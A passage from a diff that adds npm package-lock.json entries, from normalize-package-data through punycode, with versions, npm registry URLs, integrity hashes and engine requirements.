"sha512-V6gygoYb/5EmNI+MEGrWkC+e6+Rr7mTmfHrxDbLzxQogBkgzo76rkok0Am6thgSF7Mv2nLOajAJj5vDJZEFn7g==", + "dev": true, + "dependencies": { + "hosted-git-info": "^7.0.0", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data/node_modules/hosted-git-info": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz", + "integrity": "sha512-puUZAUKT5m8Zzvs72XWy3HtvVbTWljRE66cP60bxJzAqf2DgICo7lYTY2IHUmLnNpjYvw5bvmoHvPc0QO2a62w==", + "dev": true, + "dependencies": { + "lru-cache": "^10.0.1" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npmlog": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", + "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", + "deprecated": "This package is no longer supported.", + "dev": true, + "license": "ISC", + "dependencies": { + "are-we-there-yet": "^3.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^4.0.3", + "set-blocking": "^2.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/nth-check": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", + "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz", + "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/octokit": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/octokit/-/octokit-3.2.2.tgz", + "integrity": "sha512-7Abo3nADdja8l/aglU6Y3lpnHSfv0tw7gFPiqzry/yCU+2gTAX7R1roJ8hJrxIK+S1j+7iqRJXtmuHJ/UDsBhQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@octokit/app": "^14.0.2", + "@octokit/core": "^5.0.0", + "@octokit/oauth-app": "^6.0.0", + "@octokit/plugin-paginate-graphql": "^4.0.0", + "@octokit/plugin-paginate-rest": "11.4.4-cjs.2", + "@octokit/plugin-rest-endpoint-methods": "13.3.2-cjs.1", + "@octokit/plugin-retry": "^6.0.0", + "@octokit/plugin-throttling": "^8.0.0", + "@octokit/request-error": "^5.0.0", + "@octokit/types": "^13.0.0", + "@octokit/webhooks": "^12.3.1" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/one-time": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz", + "integrity": "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fn.name": "1.x.x" + } + }, + "node_modules/onetime": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", + "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-function": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dev": true, + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "dev": true, + "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ora": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/ora/-/ora-8.2.0.tgz", + "integrity": "sha512-weP+BZ8MVNnlCm8c0Qdc1WSWq4Qn7I+9CJGm7Qali6g44e/PUzbjNqJX5NJ9ljlNMosfJvg1fKEGILklK9cwnw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "cli-cursor": "^5.0.0", + "cli-spinners": "^2.9.2", + "is-interactive": "^2.0.0", + "is-unicode-supported": "^2.0.0", + "log-symbols": "^6.0.0", + "stdin-discarder": "^0.2.2", + "string-width": "^7.2.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/ansi-regex": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", + "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz", + "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ora/node_modules/emoji-regex": { + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", + "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", + "dev": true, + "license": "MIT" + }, + "node_modules/ora/node_modules/is-unicode-supported": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", + "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/log-symbols": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-6.0.0.tgz", + "integrity": "sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "is-unicode-supported": "^1.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/log-symbols/node_modules/is-unicode-supported": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-1.3.0.tgz", + "integrity": "sha512-43r2mRvz+8JRIKnWJ+3j8JtjRKZ6GmjzfaE/qiBJnikNnYv/6bagRJ1kUhNk8R5EX/GkobD+r+sfxCPJsiKBLQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-7.0.3.tgz", + "integrity": "sha512-VkndIv2fIB99swvQoA65bm+fsmt6UNdGeIB0oxBs+WhAhdh08QA04JXpI7rbB9r08/nkbysKoya9rtDERYOYMA==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.0.tgz", + "integrity": "sha512-dATvCeZN/8wQsGywez1mzHtTlP22H8OEfPrVMLNr4/eGa+ijtLn/6M5f0dY8UKNrC2O9UCU6SSoG3qRKnt7STw==" + }, + "node_modules/pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-imports-exports": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/parse-imports-exports/-/parse-imports-exports-0.2.4.tgz", + "integrity": "sha512-4s6vd6dx1AotCx/RCI2m7t7GCh5bDRUtGNvRfHSP2wbBQdMi67pPe7mtzmgwcaQ8VKK/6IB7Glfyu3qdZJPybQ==", + "dev": true, + "dependencies": { + "parse-statements": "1.0.11" + } + }, + "node_modules/parse-json": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-json/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-semver": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/parse-semver/-/parse-semver-1.1.1.tgz", + "integrity": "sha512-Eg1OuNntBMH0ojvEKSrvDSnwLmvVuUOSdylH/pSCPNMIspLlweJyIWXCE+k/5hm3cj/EBUYwmWkjhBALNP4LXQ==", + "dev": true, + "dependencies": { + "semver": "^5.1.0" + } + }, + "node_modules/parse-semver/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/parse-statements": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/parse-statements/-/parse-statements-1.0.11.tgz", + "integrity": "sha512-HlsyYdMBnbPQ9Jr/VgJ1YF4scnldvJpJxCVx6KgqPL4dxppsWrJHCIIxQXMJrqGnsRkNPATbeMJ8Yxu7JMsYcA==", + "dev": true + }, + "node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-6.0.1.tgz", + "integrity": "sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA==", + "dev": true, + "dependencies": { + "parse5": "^6.0.1" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/path-case/-/path-case-3.0.4.tgz", + "integrity": "sha512-qO4qCFjXqVTrcbPt/hQfhTQ+VhFsqNKOPtytgNKkKxSoEp3XPUQ8ObFuePylOIok5gjn69ry8XiULxCwot3Wfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.3.0.tgz", + "integrity": "sha512-CQl19J/g+Hbjbv4Y3mFNNXFEL/5t/KCg8POCuUqd4rMKjGG+j1ybER83hxV58zL+dFI1PTkt3GNFSHRt+d8qEQ==", + "engines": { + "node": "14 || >=16.14" + } + }, + "node_modules/path-type": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-6.0.0.tgz", + "integrity": "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pidtree": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/pidtree/-/pidtree-0.6.0.tgz", + "integrity": "sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==", + "dev": true, + "license": "MIT", + "bin": { + "pidtree": "bin/pidtree.js" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "pinkie": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/plist": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/plist/-/plist-3.1.0.tgz", + "integrity": "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ==", + "dependencies": { + "@xmldom/xmldom": "^0.8.8", + "base64-js": "^1.5.1", + "xmlbuilder": "^15.1.1" + }, + "engines": { + "node": ">=10.4.0" + } + }, + "node_modules/plist/node_modules/xmlbuilder": { + "version": "15.1.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-15.1.1.tgz", + "integrity": "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg==", + "engines": { + "node": ">=8.0" + } + }, + "node_modules/pluralize": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz", + "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/prebuild-install": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.1.tgz", + "integrity": "sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==", + "dev": true, + "optional": true, + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^1.0.1", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/presentable-error": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/presentable-error/-/presentable-error-0.0.1.tgz", + "integrity": "sha512-E6rsNU1QNJgB3sjj7OANinGncFKuK+164sLXw1/CqBjj/EkXSoSdHCtWQGBNlREIGLnL7IEUEGa08YFVUbrhVg==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/prettier": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.6.2.tgz", + "integrity": "sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==", + "dev": true, + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", + "dev": true, + "license": "ISC" + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "optional": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": 